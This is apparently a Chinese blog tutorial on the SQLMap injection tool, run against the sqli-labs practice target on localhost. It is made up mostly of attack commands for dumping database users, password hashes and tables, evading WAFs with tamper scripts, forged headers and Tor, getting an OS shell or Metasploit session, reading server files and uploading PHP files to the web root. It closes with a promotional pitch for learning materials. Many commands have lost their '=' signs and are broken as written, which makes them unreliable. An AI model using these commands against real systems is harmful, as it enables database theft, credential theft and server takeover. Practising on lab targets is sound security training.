万字详解数据库渗透神器—SQLMap的常用玩法以及高级渗透指南!

📅 2026/6/30 22:28:16
万字详解数据库渗透神器—SQLMap的常用玩法以及高级渗透指南!
[工具使用]SqlMap文章目录[工具使用]SqlMapSqlMap常用指令探测目标网站是否存在注入查询数据库users查询数据库passwords查询数据库当前用户查询当前数据库用户是否是管理员权限列出数据库的管理员用户名查询所有数据库查询当前数据库输出指定数据库名字下的全部表输出指定数据名下指定表下的全部列输出指定数据库指定列指定字段下的全部数据\-all系列高级用法绕过WAF\-level/-risk伪造Http Referer头部执行指定的SQL语句执行OS系统命令读取服务器文件上传文件到数据库服务器本文采用实例sqli-labs靶场SqlMap一款自动化的SQL注入工具其主要功能是扫描发现并利用给定的URL的SQL注入漏洞目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术分别是1、基于布尔的盲注即可以根据返回页面判断条件真假的注入。2、基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行即页面返回时间是否增加来判断。3、基于报错注入即页面会返回错误信息或者把注入的语句的结果直接返回在页面中。4、联合查询注入可以使用union的情况下的注入。5、堆查询注入可以同时执行多条语句的执行时的注入。常用指令sqlmap -r http.txt #http.txt是我们抓取的http的请求包 sqlmap -r http.txt -p username #指定参数当有多个参数而你又知道username参数存在SQL漏洞你就可以使用-p指定参数进行探测 sqlmap -u http://www.xx.com/username/admin* #如果我们已经知道admin这里是注入点的话可以在其后面加个*来让sqlmap对其注入 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 #探测该url是否存在漏洞 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --cookie抓取的cookie #当该网站需要登录时探测该url是否存在漏洞 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dataunameadminpasswdadminsubmitSubmit #抓取其post提交的数据填入 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --users #查看数据库的所有用户 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --passwords #查看数据库用户名的密码 有时候使用 --passwords 不能获取到密码则可以试下 -D mysql -T user -C host,user,password --dump 当MySQL 5.7时 -D mysql -T user -C host,user,authentication_string --dump 当MySQL 5.7时 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --current-user #查看数据库当前的用户 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --is-dba #判断当前用户是否有管理员权限 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --roles #列出数据库所有管理员角色仅适用于oracle数据库的时候 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dbs #爆出所有的数据库 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --tables #爆出所有的数据表 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --columns #爆出数据库中所有的列 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --current-db #查看当前的数据库 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security --tables #爆出数据库security中的所有的表 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users --columns #爆出security数据库中users表中的所有的列 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security --dump-all #爆出数据库security中的所有数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dump-all #爆出该数据库中的所有数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --tamperspace2comment.py #指定脚本进行过滤用/**/代替空格 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --level5 --risk3 #探测等级5平台危险等级3都是最高级别。当level2时会测试cookie注入。当level3时会测试user-agent/referer注入。 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --sql-shell #执行指定的sql语句 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --os-shell/--os-cmd #执行--os-shell命令获取目标服务器权限 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --os-pwn #执行--os-pwn命令将目标权限弹到MSF上 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --file-read c:/test.txt #读取目标服务器C盘下的test.txt文件 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --file-write test.txt --file-dest e:/hack.txt #将本地的test.txt文件上传到目标服务器的E盘下并且名字为hack.txt sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --dbmsMySQL #指定其数据库为mysql 其他数据库Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --random-agent #使用任意的User-Agent爆破 sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --proxyhttp://127.0.0.1:8080 #指定代理 当爆破HTTPS网站会出现超时的话可以使用参数 --delay3 --force-ssl sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --technique T #指定时间延迟注入这个参数可以指定sqlmap使用的探测技术默认情况下会测试所有的方式当然我们也可以直接手工指定。 支持的探测方式如下 B: Boolean-based blind SQL injection布尔型注入 E: Error-based SQL injection报错型注入 U: UNION query SQL injection可联合查询注入 S: Stacked queries SQL injection可多语句查询注入 T: Time-based blind SQL injection基于时间延迟注入 sqlmap -d mysql://root:root127.0.0.130:3306/mysql --os-shell #知道网站的账号密码直接连接 -v3 #输出详细度 最大值5 会显示请求包和回复包 --threads 5 #指定线程数 --fresh-queries #清除缓存 --flush-session #清空会话重构注入 --batch #对所有的交互式的都是默认的 --random-agent #任意的http头 --tamper base64encode #对提交的数据进行base64编码 --referer http://www.baidu.com #伪造referer字段 --keep-alive 保持连接当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候使用这个参数探测目标网站是否存在注入1、不需要登陆的站点sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 #探测该url是否存在漏洞我们可以看到sqlmap和我们存在交互大家需要根据工具提示选择不同的扫描方式sqlmap会告知我们目标网站存在的注入类型、脚本语言及版本、数据库类型及版本、中间件等相关信息。扫描最后会告知我们探测数据的保存路径2、需要登陆的站点sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --cookie抓取的cookie #探测该url是否存在漏洞3、需要Post提交数据的urlsqlmap -u http://127.0.0.1/sqli-labs/Less-11/?id1 --dataunameadminpasswdadminsubmitSubmit #抓取其post提交的数据填入查询数据库userssqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --users查询数据库passwordssqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --passwords当我们跑密码的时候sqlmap和我们会有两条左右交互第一处询问我们是否保存hash值 Y/N第二处询问我们是否对hash值进行爆破 Y/N/Q第三处询问我们是否要使用通用密码后缀 Y/N查询数据库当前用户sqlmap -u http://127.0.0.1/sqli-lasb/Less-1/?id1 --current-user #查看数据库当前的用户查询当前数据库用户是否是管理员权限sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 --is-dba #判断当前用户是否有管理员权限列出数据库的管理员用户名sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 --roles查询所有数据库sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 --dbs查询当前数据库sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 --current-db输出指定数据库名字下的全部表sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 -D security --tables输出指定数据名下指定表下的全部列sqlmap -u http://127.0.0.1/sqli/Less-1/?id1 -D security -T users --columns输出指定数据库指定列指定字段下的全部数据sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users -C password --dump-all系列1、输出该数据库中全部数据sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dump-all时间过长截取选取扫描过程中的过程截图2、输出指定数据库中的全部数据sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security --dump-all时间过长截取选取扫描过程中的过程截图3、输出指定数据库指定表中的全部数据sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T user --dump-all时间过长截取选取扫描过程中的过程截图高级用法绕过WAF原理只用–tamper对参数进行修改来绕过waf官方提供的绝大部分脚本是用正则模块替换攻击载荷字符编码的方式来绕过waf的检测规则。常用指令--identify-waf 检测是否有WAF #使用参数进行绕过 --random-agent 使用任意HTTP头进行绕过尤其是在WAF配置不当的时候 --time-sec3 使用长的延时来避免触发WAF的机制这方式比较耗时 --hpp 使用HTTP 参数污染进行绕过尤其是在ASP.NET/IIS 平台上 --proxy100.100.100.100:8080 --proxy-cred211:985 使用代理进行绕过 --ignore-proxy 禁止使用系统的代理直接连接进行注入 --flush-session 清空会话重构注入 --hex 或者 --no-cast 进行字符码转换 --mobile 对移动端的服务器进行注入 --tor 匿名注入sqlmap为我们准备了绕过waf的脚本在sqlmap文件夹tamper文件夹下使用情况如下使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 appendnullbyte.py在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 between.py分别用“NOT BETWEEN 0 AND #”替换大于号“”“BETWEEN # AND #”替换等于号“” bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符随后用“LIKE”替换等于号“” chardoubleencode.py 对给定的payload全部字符使用双重URL编码不处理已经编码的字符 charencode.py 对给定的payload全部字符使用URL编码不处理已经编码的字符 charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码不处理已经编码的字符 concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例 equaltolike.py 用“LIKE”运算符替换全部等于号“” greatest.py 用“GREATEST”函数替换大于号“” halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例 lowercase.py 用小写值替换每个关键字字符 modsecurityversioned.py 用注释包围完整的查询 modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询 multiplespaces.py 在SQL关键字周围添加多个空格 nonrecursivereplacement.py 用representations替换预定义SQL关键字适用于过滤器 overlongutf8.py 转换给定的payload当中的所有字符 percentage.py 在每个字符之前添加一个百分号 randomcase.py 随机转换每个关键字字符的大小写 randomcomments.py 向SQL关键字中插入随机注释 securesphere.py 添加经过特殊构造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替换空格符 space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符 space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符 space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符 space2plus.py 用加号“”替换空格符 space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT” unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF versionedkeywords.py 用MySQL注释包围每个非函数关键字 versionedmorekeywords.py 用MySQL注释包围每个关键字 xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF-level/-riskSqlmap一共有5个探测等级,默认是1。等级越高说明探测时使用的payload也越多。其中5级的payload最多 会自动破解出cookie、XFF等头部注入。当然,等级越高探测的时间也越慢。这个参数会影响测试的注入点GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试HTTP User-Agent/Referer头在level为3时就会测试。 在不确定哪个参数为注入点时为为保证准确.性,建议设置level为5Sqlmap一共有3个危险等级, 也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思 在不确定的情况下建议设置为3级–risk3工具使用payload目录sqlmap\data\xml\payloadswindows伪造Http Referer头部sqlmap可以在请求中伪造http请求头中的referer当-level大于等于3时会进行referer注入eg: referer http://www.topreverse.cn执行指定的SQL语句sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --sql-shell #执行指定的sql语句执行OS系统命令当且仅当数据库是mysql、postgresql、sql server时可以执行。当数据库是mysql时需要满足3个条件1、root权限2、已经知道目标站点的绝对路径3、secure_file_priv的参数值时空未修改前是NULLsqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --os-shell #执行--os-shell命令过程中sqlmap会向指定路径传入两个文件tmpblwkd.php木马文件和tmpueqch.php。退出时输入q和x才可以删除传入的文件。读取服务器文件前提数据库是mysql、postgresql和sql serversqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --file-read c:/topreverse.txt #读取目标服务器C盘下的test.txt文件上传文件到数据库服务器前提数据库是mysql、postgre sql、sql serversqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id1 --file-write C:\Users\system32\Desktop\text.php --file-dest C:\phpStudy\PHPTutorial\WWW\test.php #将本地的text.php文件上传到目标服务器test.phpsqlmap自身上传完成之后会进行验证读取文件大小进行对比。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取